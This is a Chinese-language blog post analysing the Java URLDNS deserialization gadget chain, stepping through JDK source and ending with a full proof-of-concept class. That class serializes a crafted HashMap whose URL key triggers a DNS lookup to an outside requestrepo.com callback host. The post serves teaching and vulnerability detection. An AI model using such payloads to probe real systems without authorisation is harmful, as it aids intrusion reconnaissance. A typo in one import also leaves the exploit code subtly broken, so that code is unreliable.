java-urldns链分析

URLDNS链分析

这个链子可以用来判断是否有反序列化漏洞,其本身没有什么攻击性,就是进行一次DNS请求。

原理

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

hashcode()方法

1
2
3
4
5
6
7
8
9
10
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("https://nf2p2x19.requestrepo.com/");
url.hashCode();
}
}

跟进看一下

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1) //判断hashCode是否为-1,hashCode是一个私有变量,只有是-1时才能执行hashCode函数
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

调式的时候是这样的

image-20250428212916412

继续跟进hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u); //调用了getHostAddress()函数
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

调试的时候是这样

image-20250428213030039

我们继续跟进getHostAddress()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host); //这里进行DNS请求
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

跟进InetAddress.getByName(host)

1
2
3
4
public static InetAddress getByName(String host)
throws UnknownHostException {
return InetAddress.getAllByName(host)[0];
}

hashcode()就是这样子啦~

hashmap

进去看一下,找到反序列化的函数readobject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

这里是调用了hash函数

1
2
3
4
5
6
7
8
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

跟进hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

然后如果key不为空,则调用了hashcode,这个key是我们传入的url对象,继续跟进url类的hashcode

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
//synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

如果hashcode是-1,那么就会执行hashCode = handler.hashCode(this);

继续跟进handler

1
2
3
4
/**
* The URLStreamHandler for this URL.
*/
transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

那么跟进URLStreamHandlerhashcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

其中的u也就是我们传入的URL对象,在执行InetAddress addr = getHostAddress(u);会进行dns请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost(); //这里进行DNS请求
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

我们现在再返回来到readobject

image-20250530171314050

key通过反序列化来得到,那就证明序列化的时候就写入了key

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

跟进internalWriteEntries

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Called only from writeObject, to ensure compatible ordering.
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

//tab = table 是把实例变量 table (即HashMap中table的值) 赋值给局部变量 tab。

//tab 是一个哈希桶数组,每个元素都是一个链表的头节点(或为 null)。

//这段代码遍历整个哈希表,把所有的键值对通过 ObjectOutputStream 序列化写出去。

想要修改table的值,就需要调用HashMap的put方法,而HashMapput方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们并不想让这个查询来混淆我们的视线,可以通过反射将hashcode写成不等于-1,就可以避免

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

hashCode不等于-1,就不会执行handler.hashCode(this)自然也就没有后面的事

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package cn.edu.xcu.ypx;

import java.io.FileInputStream;
import java.io.FileOutpsutStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_EXP {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("https://nf2p2x19.requestrepo.com/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //获取到hashcode这个私有变量
f.setAccessible(true); //修改私有变量,必须设置为true
f.set(url, 123); //设置hashcode变成-1以外的其他数字
//System.out.println(url.hashCode());
map.put(url,123); //调用put方法
f.set(url,-1); //设置回-1以便调用
try {
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);

objectOutputStream.writeObject(map);
objectOutputStream.close();
fileOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
catch (Exception e) {
e.printStackTrace();
}
}
}

java-urldns链分析
https://eznp.github.io/2025/06/11/java-urldns链分析/
作者
Zer0
发布于
2025年6月11日
许可协议